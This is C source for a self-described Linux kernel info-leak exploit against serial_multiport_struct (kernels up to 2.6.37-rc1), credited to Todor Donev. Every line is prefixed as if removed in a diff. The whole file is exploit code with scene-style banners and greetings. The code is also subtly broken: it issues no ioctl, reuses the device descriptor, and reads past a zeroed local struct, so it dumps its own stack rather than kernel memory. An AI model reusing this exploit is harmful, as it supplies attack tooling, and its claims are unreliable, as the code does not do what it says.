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- /* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
- *
- * ./splitmilk2 leak 134514859
- * [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
- * [\m/] by Todor Donev
- * [x] Leakfile : leak
- * [x] Reservedsize : 134514859
- * [+] Leaking.. =)
- * ...
- *
- *
- * Greets to prdelka,
- * for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit
- *
- * Thanks to Tsvetelina Emirska,
- * that support, respect and inspire me..
- *
- * Yes, I know thats lame, but I was so bored and lazy for better.
- *
- * Author: Todor Donev
- * Author email: [todor.donev@gmail]
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <fcntl.h>
- #include <termios.h>
- #include <linux/serial.h>
- #define DEVICE "/dev/ttyS1"
- int main(int argc, char* argv[]) {
- int ret = 0;
- int i, fd, reservedsize;
- char* buf;
- struct serial_multiport_struct buffer;
- printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
- printf("[\\m/] by Todor Donev\n");
- fd = open(DEVICE, O_RDONLY);
- if (fd <0) {
- printf("[-] Error: f0k\n");
- exit(-1);
- }
- if (argc < 2) {
- fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
- exit(-1);
- }
- if (argc > 2)
- if ((reservedsize = atoi(argv[2])) == 0) {
- fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
- exit(-1);
- }
- fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
- fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
- if ((buf = (char *)malloc(reservedsize)) == NULL) {
- perror("Sorry: (malloc)");
- fprintf(stderr, " [-] Sorry: Try again with other output size\n");
- exit(1);
- }
- memset(&buffer,0,sizeof(buffer));
- printf("[+] Leaking.. =)\n");
- if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
- printf("[-] Error: f0k =(\n");
- exit(-1);
- }
- for(i=0;i<=reservedsize;i++){
- ret += write(fd,&buffer.reserved[i],sizeof(int));
- }
- close(fd);
- printf("\\o/ %d bytez\n",ret);
- exit(0);
- }
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